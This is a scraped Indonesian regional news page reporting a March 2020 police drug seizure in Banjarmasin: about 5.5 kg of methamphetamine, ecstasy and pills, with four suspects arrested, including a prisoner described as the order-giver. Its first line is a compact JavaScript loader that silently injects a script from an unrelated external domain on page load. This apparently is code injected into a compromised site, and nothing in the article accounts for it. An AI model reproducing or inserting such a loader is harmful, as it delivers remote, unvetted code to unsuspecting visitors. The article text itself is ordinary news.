(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
{"subsource":"done_button","uid":"15BBD608-1669-44B1-8BA5-FC0121588C50_1583725427020","source":"other","origin":"gallery","source_sid":"15BBD608-1669-44B1-8BA5-FC0121588C50_1583725427034"}
KANALKALIMANTAN.COM, BANJARMASIN – Jajaran Dit Resnarkoba Polda Kalsel berhasil mengamankan sedikitnya 5.565,66 gram atau 5,5 Kg sabu, ekstasi sebanyak 67 butir, serbuk ekstasi seberat 1,87 gram dan obat-obatan jenis happy five sebanyak 1.000 butir.
“Sedangkan untuk jajaran Polda Kalsel beserta polres-polres, berhasil mengamankan sabu-sabu seberat 7.413,36 gram, ekstasi sebanyak 128 butir, serbuk ekstasi 2,31 gram, happy five 1.000 butir, karnopen sebanyak 2.794 butir dan daftar G 10.025 butir,” kata Kapolda Kalsel Irjen Pol Yazid Fanani melalui Direktur Resnarkoba Polda Kalsel Kombes Iwan Eka Putra kepada awak media di Mapolda Kalsel, Senin (9/3/2020) pagi.
Tangkapan sebanyak itu, baik Polda Kalsel maupun polres jajaran terdiri dari 298 kasus, yang mana 62 kasus merupakan target operasi dan 236 kasus lainnya merupakan giat rutin. Sedangkan untuk Dit Resnarkoba Polda Kalsel sendiri, tercatat sedikitnya ada 31 kasus yang mana 12 kasus di antaranya adalah target operasi, dengan jumlah tersangka sebanyak 43 orang.
Kombes Iwan mengatakan, dari 31 kasus yang ditangani ada kasus yang menonjol, yaitu tangkapan pada Senin (2/3/2020) malam di Pelabuhan Trisakti Banjarmasin. Ia mengungkapkan, jajarannya berhasil meringkus MM (20) dan GR (16) yang keduanya merupakan warga Kemayoran, Jakarta.
“Barang bukti yang mereka bawa dari Jakarta itu adalah 4.970 gram atau 4,97 kilogram sabu, yang ditindak Dit Resnarkoba di Pelabuhan Trisakti ketika mereka baru mendarat,” ungkapnya.
Dari hasil pengembangan, Kombes Iwan mengungkapkan penerima dan pengendali yang diketahui berasal dari Lembaga Pemasyarakatan (Lapas). Sehingga, jajarannya juga berhasil mengamankan SH (38) warga Basirih Banjarmasin, dan MRS (32) warga Banua Anyar, Banjarmasin yang merupakan tahanan narkoba di Lapas Kelas IIA Banjarmasin. Diketahui, MRS merupakan pemesan atau pengendali.
“Sehingga ada empat orang yang kita amankan,” tegasnya.
Keempat pelaku sendiri, dikenakan pasal 132 ayat (1), sub pasal 114 ayat (2) sub pasal 112 ayat (2) Undang-undang Nomor 35 Tahun 2009 tentang Narkotika, dengan ancaman kurungan 5 tahun penjara, atau maksimal hukuman mati. (kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.